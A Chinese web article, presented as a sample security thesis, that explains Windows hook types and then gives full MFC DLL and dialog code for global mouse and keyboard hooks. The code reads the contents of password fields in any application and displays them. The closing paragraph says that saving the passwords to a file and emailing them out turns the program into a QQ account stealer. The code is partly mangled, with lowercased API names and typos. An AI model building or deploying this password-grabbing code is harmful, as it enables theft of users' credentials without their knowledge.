钩子(hook),是windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理window消息或特定事件。以下是秋天网 Qiutian.ZqNF.Com小编今天为大家精心准备的计算机安全毕业论文范文:利用鼠标键盘钩子截获密码。内容仅供参考,欢迎阅读!
利用鼠标键盘钩子截获密码全文如下:
钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。掌握钩子的编程方法是很有必要的
钩子分类 :
1、wh_callwndproc和wh_callwndprocret: 使你可以监视发送到窗口过程的消息
3、wh_debug 调试钩子
4、wh_foregroundidle 当当应用程序的前台线程大概要变成空闲状态时,系统就会调用 wh_foregroundidl
5、wh_journalrecord 监视和记录输入事件
6、wh_journalplayback 回放用wh_journalrecord记录事件
7、wh_keyboard 键盘钩子
9、wh_keyboard_ll 低层键盘钩子
10、wh_mouse 鼠标钩子
11、wh_mouse_ll 底层鼠标钩子
12、wh_shell 外壳钩子
13、wh_msgfilter 和 wh_sysmsgfilter 使我们可以监视菜单,滚动条,消息框等
安装钩子:
调用函数setwindowshookex安装钩子。其函数原型为:
hhook setwindowshookex( int idhook,hookproc lpfn, instance hmod,dword dwthreadid )
idhook表示钩子类型,它是和钩子函数类型一一对应的。如,wh_keyboard,wh_mouse。
lpfn是钩子函数的地址。
hmod是钩子函数所在的实例的句柄。对于线程钩子,该参数为null;对于系统钩子,该参数为钩子函数所在的dll句柄。 (系统钩子必须在dll中)
dwthreadid 指定钩子所监视的线程的线程号。对于全局钩子,该参数为null。
setwindowshookex返回所安装的钩子句柄。
卸载钩子
调用函数 bool unhookwindowshookex( hhook hhk)卸载钩子
定义钩子函数
钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。一般为下:
lresult winapi myhookproc(int ncode ,wparam wparam,lparam lparam)
参数wparam和 lparam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。ncode包含有关消息本身的信,比如是否从消息队列中移出。
实例:
下面我们通过安装鼠标钩子。和键盘钩子还截获输入的密码,并可查看*密码为例,来说明何何使用钩子。
1,进入向导,新建mfc appwizard(dll) 取名为getpass,选择mfc extension dll,完成。
2,新建一个cgetpasshook 类,基类:cobject,并加入starthook,stophook,函数,如下:
class afx_ext_class cgetpasshook : public cobject
{
public:
bool stophook();
bool starthook(hwnd hwnd);
cgetpasshook();
virtual ~cgetpasshook();
};
3:加入全局共享数据,如下:
#pragma data_seg("sharedata")
hhook hkeyboardhook=null; file://keyboar hook
hhook hmousehook=null; file://mouse hook
hinstance glhinstance=null; file://globle instance
hwnd houtputwnd=null; file://display pass wnd
#pragma data_seg()
4:加入鼠标,键盘钩子处理函数,如下:
lresult winapi mousehookproc(int ncode,wparam wparam ,lparam lparam)
{ file://鼠标钩子得理函数
lpmousehookstruct lpmouse=(mousehookstruct far*)lparam;
if(ncode>=0)
{
hwnd htargethwnd=lpmouse->hwnd; file://得到鼠标所在窗口句柄
if(htargethwnd)
{
long style=::getwindowlong(htargethwnd,gwl_style); file://得到它的样式
if(style&es_password) file://如果是密码框
{
char szpass[255];
::sendmessage(htargethwnd,wm_gettext,255,(lparam)szpass);
file://得到密码
::sendmessage(houtputwnd,wm_settext,0,(lparam)szpass);
file://显示密码
}
}
}
return callnexthookex(hmousehook,ncode,wparam,lparam);
file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,
file://可以起到截儿消息的目的,我们这里调用之。
}
lresult winapi keyboardproc(int ncode,wparam wparam,lparam lparam)
{ file://keyboard hook proc
if(ncode>=0)
{
hwnd htargethwnd=getactivewindow(); file://get active window
if(htargethwnd)
enumchildwindows(htargethwnd,enumwndproc,0); file://枚举所有窗口
}
return callnexthookex(hkeyboardhook,ncode,wparam,lparam);
file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,
file://可以起到截儿消息的目的,我们这里调用之。
}
这里要介绍下enumchildwindows函数,原形如下:
bool enumchildwindows(hwnd hwndparent,windenumproc lpenumfunc,lparam lparam);
hwndparent:为枚举窗口的句柄
lpenumfunc:枚举函数的地址,
lparam:这里为0
5:加入枚举窗口的函数。如下:(注意,因为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。
bool winapi enumwndproc(hwnd hwnd,lparam lparam)
{ file://enum the child window,find passedit
if(hwnd)
{
long style=::getwindowlong(hwnd,gwl_style); file://得到style
if(style&es_password) file://是密码框
{
char szpass[255];
::sendmessage(hwnd,wm_gettext,255,(lparam)szpass); file://得到pass
::sendmessage(houtputwnd,wm_settext,0,(lparam)szpass); file://显示
return true;
}
}
return true;
}
6:在def文件中定义段属性: (这步很重要)
sections
mydata read write shared
7:完成starthook,stophook函数,启动/关闭钩子,如下:
bool cgetpasshook::starthook(hwnd hwnd)
{ file://install hoook
hmousehook=setwindowshookex(wh_mouse,mousehookproc,glhinstance,0);
file://mouse hook
hkeyboardhook=setwindowshookex(wh_keyboard,keyboardproc,glhinstance,0);
file://keyboard hook
if(hmousehook&&hkeyboardhook)
{
houtputwnd=hwnd; file://显示密码的句柄
return true;
}
return false;
}
bool cgetpasshook::stophook()
{ file://unstall hook
bool mhook=unhookwindowshookex(hmousehook);
bool khook=unhookwindowshookex(hkeyboardhook);
if(mhook&&khook)
return true;
return false;
}
8:在dllmain函数中得到dll句柄,要用到glhinstance变量,因此要加入一句,如下:
extern hinstance glhinstance; file://记得这里
extern "c" int apientry
dllmain(hinstance hinstance, dword dwreason, lpvoid lpreserved)
{
unreferenced_parameter(lpreserved);
if (dwreason == dll_process_attach)
{
trace0("getpass.dll initializing!n");
if (!afxinitextensionmodule(getpassdll, hinstance))
return 0;
new cdynlinklibrary(getpassdll);
glhinstance=hinstance; file://得到句柄
}
else if (dwreason == dll_process_detach)
{
trace0("getpass.dll terminating!n");
afxtermextensionmodule(getpassdll);
}
return 1; // ok
}
9:编译,完成dll部分,
下面建立app部分。如下:
1:新建mfc appwizard(exe)命名为getpassword,并在第一步中选择add to current workspace加入到当前工作区,这样方便。
2:将刚才的dll中的getpass.lib,和getpasshook.h拷贝app所在目录,然后project->add to project-->files
选择这两个文件。
2:在主对话框中,加入一个edit,id 为idc_edit_pass
3:在cgetpassworddlg.h中包含getpasshook.h文件,声明一个对象。如下:
#include "getpasshook.h"
class cgetpassworddlg : public cdialog
{
protected:
cgetpasshook m_hook;
。。。
declare_message_map()
};
4:在实现文件中:oninitdialog()中起动hook
bool cgetpassworddlg::oninitdialog()
{
cwnd *pwnd=getdlgitem(idc_edit_pass);
m_hook.starthook(pwnd->getsafehwnd()); file://install hook
return true; // return true unless you set the focus to a control
}
5:加入wm_destroy消息,在退出程序时停止hook,如下:
void cgetpassworddlg::ondestroy()
{
cdialog::ondestroy();
m_hook.stophook(); file://stop hook
}
6:将getpass.dll拷贝到。exe一个目录下,
7:编译,运行.
这样,你在输入任何密码框输入密码时,密码都将截获。就算键盘hook失效,移动鼠标到密码框,也都获取*号密码,因为我们安装两个hook。启动qq,输入密码,试下看是否已经截获了密码?将本程序稍做修改,将截获的密码输出到文件,并加入发送邮件攻能,一个qq盗号器就做成了。